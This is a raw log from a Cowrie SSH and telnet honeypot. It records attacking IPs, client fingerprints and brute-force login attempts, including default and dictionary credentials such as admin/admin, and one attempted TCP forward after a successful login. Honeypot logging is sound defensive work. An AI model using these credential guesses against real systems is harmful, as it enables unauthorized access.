{"eventid":"cowrie.login.failed","username":"root","fingerprint":"aa:cd:e4:dc:93:1b:5e:a5:a4:21:14:70:77:d4:b1:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJ8pOO/84+ZXYRaXBEONn5WrQZrTAQn0Bu13P3tw8yWijMhoBxZCwgCTpwDQyrGsaAduv/XXJIPGKYw/KJT2rAy+Jkslj9o1NZy8bSTJ5l1lpzB5e6RUFUJ/LC4/vFzH6E2SBlX+V9XlNAoKqGLqNY0LIbI9rH0nnTUZ4xkXslSnmkdi0qtR/veeFYEs7rv/VmDz0oiOv2JqkbnAqmrMOcOARDHvSzkaQ5154xUU9rsS2/bSuCX1a2QBHZ47e38fAY/lc1Pi5aRf0mGETAQxw8vp+r+LDkvRine6Bp9bYTo7xh7UWnZ7ovH2WruYj/U+wP3GF92zU8KuRkiMR4u/xl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:15.986698Z","src_ip":"96.127.172.218","session":"80ee1afc487c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a4:f3:bc:03:85:d8:8b:94:3d:8b:b9:d5:f8:50:05:c8","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMjUVzcSX0x0VsEeup8vXviEWXx230XjTDQoNQGFpWTs/Tq9awGXk2pcQxGcOjFa351hpjPd7oY0f3ylQYz0zw2s8+RZaI0WcRW8Fh5pobWjZfezzs61ffYDL0RN2tSpLvifUZNxuMUZ6eaZ9t8MmnnQwfHdXp++DS0dYa3Lg66XAAAAFQCN32NwtoP0rxPCwpjgC+V4QvvRcQAAAIADYUJb7CFoc67WKiqGQtDBKd+mHDZz4/yZSZi2zF/67BN+sc2pLTjU7wSxi+yPuvF+dGcrqFiEC3bWiacDK3FcLjdzz/OuxGvZSJVJzjKlz8Ma7OOD0a/Pls43FQobwdIjcVmBjZ/X5m64b1tWEtkadEnDK+cbq8gizMJGijknpgAAAIBjqqjOtFCkZFpHrzJdNURF1IVdhHNJYyDjnkkccJ8YK5k45hLcIZ6ZdVlmyuWSZzlLKrTGKTpFavlwN0JkmQaaKP6o1vm+SCF9EQyQxQBcLjbcZV6VGVUeYDgm4Gb2JEiaXx+DSaW/9/+cvbHEqVPcWuLVZfJ2B6kTkW517e5dRw==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint a4:f3:bc:03:85:d8:8b:94:3d:8b:b9:d5:f8:50:05:c8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:16.017831Z","src_ip":"96.127.172.218","session":"80ee1afc487c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a4:f3:bc:03:85:d8:8b:94:3d:8b:b9:d5:f8:50:05:c8","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMjUVzcSX0x0VsEeup8vXviEWXx230XjTDQoNQGFpWTs/Tq9awGXk2pcQxGcOjFa351hpjPd7oY0f3ylQYz0zw2s8+RZaI0WcRW8Fh5pobWjZfezzs61ffYDL0RN2tSpLvifUZNxuMUZ6eaZ9t8MmnnQwfHdXp++DS0dYa3Lg66XAAAAFQCN32NwtoP0rxPCwpjgC+V4QvvRcQAAAIADYUJb7CFoc67WKiqGQtDBKd+mHDZz4/yZSZi2zF/67BN+sc2pLTjU7wSxi+yPuvF+dGcrqFiEC3bWiacDK3FcLjdzz/OuxGvZSJVJzjKlz8Ma7OOD0a/Pls43FQobwdIjcVmBjZ/X5m64b1tWEtkadEnDK+cbq8gizMJGijknpgAAAIBjqqjOtFCkZFpHrzJdNURF1IVdhHNJYyDjnkkccJ8YK5k45hLcIZ6ZdVlmyuWSZzlLKrTGKTpFavlwN0JkmQaaKP6o1vm+SCF9EQyQxQBcLjbcZV6VGVUeYDgm4Gb2JEiaXx+DSaW/9/+cvbHEqVPcWuLVZfJ2B6kTkW517e5dRw==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:16.094380Z","src_ip":"96.127.172.218","session":"80ee1afc487c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:dd:21:ef:21:e2:ba:75:e7:3a:97:1b:8b:fd:5b:2f","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMj6bj4qnH4i9fcAR7miG6l2BcOgKuoS+IEtVd7TdP63GkT7rR7F3ZFag74SFIeWml964c/qaTJfg/yg+Z4J2A6E+24KdlK9TomE+MxsbTNrUg95zwMrNQZzwrA+OnvW1W0kLj7nsv2LZ5lgpEvDWQQXtI9Io/NDlUoecPDfGMGDAAAAFQC82TrznCJpXqaYFdf1wBszqP0S3QAAAIEAtl0s5SEeFjq16IQ85+lT3SAApPeKTSuPHy7+pLjcoheRNgvNG8Zqv3Ms6W+o6djASz0t7nE0n7CG7HEQH0Ot6vOHWEM6CqpikkqcXWvciaMqYukNNtfu1n722UoGq4L7odceEvQtuzf3flmjHHLW/KwLuOkxZCiTmj9f1E247/UAAACBAJaebkzx9CrtuO2PpKr719e4v9eJmvcX1FhQeKjkeRaKVgj0qEjOBHNd+SX3hnn5XTc3/JG18+VcqZCXC5yAMog5NgrC2EMqrLSN8xn7W9v5HozemHmOj3aUdr67vzGuH3v3TVsg4m+jWpOkNouWLQ+9qDZwOkUPhhbtBgVq49qt","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint d4:dd:21:ef:21:e2:ba:75:e7:3a:97:1b:8b:fd:5b:2f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:16.125062Z","src_ip":"96.127.172.218","session":"80ee1afc487c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:dd:21:ef:21:e2:ba:75:e7:3a:97:1b:8b:fd:5b:2f","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMj6bj4qnH4i9fcAR7miG6l2BcOgKuoS+IEtVd7TdP63GkT7rR7F3ZFag74SFIeWml964c/qaTJfg/yg+Z4J2A6E+24KdlK9TomE+MxsbTNrUg95zwMrNQZzwrA+OnvW1W0kLj7nsv2LZ5lgpEvDWQQXtI9Io/NDlUoecPDfGMGDAAAAFQC82TrznCJpXqaYFdf1wBszqP0S3QAAAIEAtl0s5SEeFjq16IQ85+lT3SAApPeKTSuPHy7+pLjcoheRNgvNG8Zqv3Ms6W+o6djASz0t7nE0n7CG7HEQH0Ot6vOHWEM6CqpikkqcXWvciaMqYukNNtfu1n722UoGq4L7odceEvQtuzf3flmjHHLW/KwLuOkxZCiTmj9f1E247/UAAACBAJaebkzx9CrtuO2PpKr719e4v9eJmvcX1FhQeKjkeRaKVgj0qEjOBHNd+SX3hnn5XTc3/JG18+VcqZCXC5yAMog5NgrC2EMqrLSN8xn7W9v5HozemHmOj3aUdr67vzGuH3v3TVsg4m+jWpOkNouWLQ+9qDZwOkUPhhbtBgVq49qt","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:16.129417Z","src_ip":"96.127.172.218","session":"80ee1afc487c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"21:a8:ea:e0:e1:01:b9:d1:ab:48:e3:2d:28:ee:99:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWMXRwFuXJHx2JinVQVJSLKQLsmq7B4P3Z/MShYhRxM4Ys/PO7WYZv0kSyXEiPb/21zsZsnr3KbyYj5BK1zDacjU0OztK08kyg1gVuCBmG9xRmCpJiPb5k01JgDD7f7r7Bo3p9hGvpVS1X/AxWehMgoGHTA0RGLlkBiIDSnzt+R2Zpq/D7Zk/Uk3aX33X/TeuCeSy/zlk3cKLBoSh9s2Wx4OUgXLRUtArwWzugS80BTy4xw3wlJGMhbS2X3CRvnMjazE22No5B3+T5EoykTO2qfkqTbDEcaxLzVzh3cLJ89AeiZPEOZi4d4m7jESHN8OoxxnvCPnIiXH4GvlLORYjf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 21:a8:ea:e0:e1:01:b9:d1:ab:48:e3:2d:28:ee:99:6d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:16.160759Z","src_ip":"96.127.172.218","session":"80ee1afc487c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"21:a8:ea:e0:e1:01:b9:d1:ab:48:e3:2d:28:ee:99:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWMXRwFuXJHx2JinVQVJSLKQLsmq7B4P3Z/MShYhRxM4Ys/PO7WYZv0kSyXEiPb/21zsZsnr3KbyYj5BK1zDacjU0OztK08kyg1gVuCBmG9xRmCpJiPb5k01JgDD7f7r7Bo3p9hGvpVS1X/AxWehMgoGHTA0RGLlkBiIDSnzt+R2Zpq/D7Zk/Uk3aX33X/TeuCeSy/zlk3cKLBoSh9s2Wx4OUgXLRUtArwWzugS80BTy4xw3wlJGMhbS2X3CRvnMjazE22No5B3+T5EoykTO2qfkqTbDEcaxLzVzh3cLJ89AeiZPEOZi4d4m7jESHN8OoxxnvCPnIiXH4GvlLORYjf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:16.166124Z","src_ip":"96.127.172.218","session":"80ee1afc487c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"33:22:48:7a:44:49:0c:2d:5a:be:0f:9d:84:84:3b:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7vIQNMTU0aQdzUjIIumbSYsYWGn16RgtUOBtTXCGxjHweNbu0x135UWIClA2bSE7ErK9a5C+7MOHdOpzdmxEyZ1vcCMdl+xAMTi52vs9lkeqJm7w00h+zckUcAQh39CYFGVW9HNtQ4/9ZHeVEi31clq11UgWZHDzOGGwxKrUOZLQD8R8Ea6UkJ0O66gg4qLaJOeAVI2bPrHlohSpYirARbB71z2Skp0lyYk6fNQbkzU9IZptde9VCEswR1oqMpieJ1ujjxh/6uMiQPpG61+4E20raNJ85FugpZz1OjBADg/Me6lf/+NGBMxrUmSRNgW8AtZH7BSLogd1nVOdr72Bb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 33:22:48:7a:44:49:0c:2d:5a:be:0f:9d:84:84:3b:11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:16.200541Z","src_ip":"96.127.172.218","session":"80ee1afc487c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"33:22:48:7a:44:49:0c:2d:5a:be:0f:9d:84:84:3b:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7vIQNMTU0aQdzUjIIumbSYsYWGn16RgtUOBtTXCGxjHweNbu0x135UWIClA2bSE7ErK9a5C+7MOHdOpzdmxEyZ1vcCMdl+xAMTi52vs9lkeqJm7w00h+zckUcAQh39CYFGVW9HNtQ4/9ZHeVEi31clq11UgWZHDzOGGwxKrUOZLQD8R8Ea6UkJ0O66gg4qLaJOeAVI2bPrHlohSpYirARbB71z2Skp0lyYk6fNQbkzU9IZptde9VCEswR1oqMpieJ1ujjxh/6uMiQPpG61+4E20raNJ85FugpZz1OjBADg/Me6lf/+NGBMxrUmSRNgW8AtZH7BSLogd1nVOdr72Bb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:16.204496Z","src_ip":"96.127.172.218","session":"80ee1afc487c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:16.241382Z","src_ip":"96.127.172.218","session":"80ee1afc487c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":55118,"dst_ip":"10.17.0.5","dst_port":22,"session":"42d874cf3266","protocol":"ssh","message":"New connection: 87.251.64.176:55118 (10.17.0.5:22) [session: 42d874cf3266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:16.656867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:16.661575Z","src_ip":"87.251.64.176","session":"42d874cf3266","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:16.758138Z","src_ip":"87.251.64.176","session":"42d874cf3266","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:17.046778Z","src_ip":"87.251.64.176","session":"42d874cf3266","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:17.150400Z","session":"42d874cf3266","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:17.248811Z","src_ip":"87.251.64.176","session":"42d874cf3266","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:17.347993Z","src_ip":"87.251.64.176","session":"42d874cf3266","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.146","src_port":19085,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f1d2d6e0e24","protocol":"ssh","message":"New connection: 74.87.117.146:19085 (10.17.0.5:22) [session: 3f1d2d6e0e24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:58.632009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:58.636873Z","src_ip":"74.87.117.146","session":"3f1d2d6e0e24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:58.661843Z","src_ip":"74.87.117.146","session":"3f1d2d6e0e24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"devel0p3r","message":"login attempt [developer/devel0p3r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:58.792583Z","src_ip":"74.87.117.146","session":"3f1d2d6e0e24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:05:59.819541Z","src_ip":"74.87.117.146","session":"3f1d2d6e0e24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":58184,"dst_ip":"10.17.0.5","dst_port":23,"session":"c94b575c7a52","protocol":"telnet","message":"New connection: 212.55.149.117:58184 (10.17.0.5:23) [session: c94b575c7a52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:06:42.680077Z"}
{"eventid":"cowrie.session.closed","duration":120.00847268104553,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:06:50.444094Z","src_ip":"212.55.149.117","session":"8c1c7d6f6912","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.146","src_port":26280,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cff4ef376be","protocol":"ssh","message":"New connection: 74.87.117.146:26280 (10.17.0.5:22) [session: 6cff4ef376be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:06:58.351902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:06:58.359504Z","src_ip":"74.87.117.146","session":"6cff4ef376be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:06:58.383793Z","src_ip":"74.87.117.146","session":"6cff4ef376be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftp","password":"sftppass","message":"login attempt [sftp/sftppass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:06:58.512039Z","src_ip":"74.87.117.146","session":"6cff4ef376be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:06:59.539637Z","src_ip":"74.87.117.146","session":"6cff4ef376be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":44562,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d7316e2241f","protocol":"telnet","message":"New connection: 212.55.149.117:44562 (10.17.0.5:23) [session: 1d7316e2241f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:07:11.312280Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":54983,"dst_ip":"10.17.0.5","dst_port":22,"session":"284a0b8ec591","protocol":"ssh","message":"New connection: 2.57.121.112:54983 (10.17.0.5:22) [session: 284a0b8ec591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:07:31.905832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:07:31.910668Z","src_ip":"2.57.121.112","session":"284a0b8ec591","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:07:32.012739Z","src_ip":"2.57.121.112","session":"284a0b8ec591","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pennies","message":"login attempt [admin/pennies] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:07:32.494196Z","src_ip":"2.57.121.112","session":"284a0b8ec591","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"penalty","message":"login attempt [admin/penalty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:07:33.599046Z","src_ip":"2.57.121.112","session":"284a0b8ec591","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pegleg","message":"login attempt [admin/pegleg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:07:34.703608Z","src_ip":"2.57.121.112","session":"284a0b8ec591","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"peedee","message":"login attempt [admin/peedee] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:07:35.808782Z","src_ip":"2.57.121.112","session":"284a0b8ec591","protocol":"ssh"}
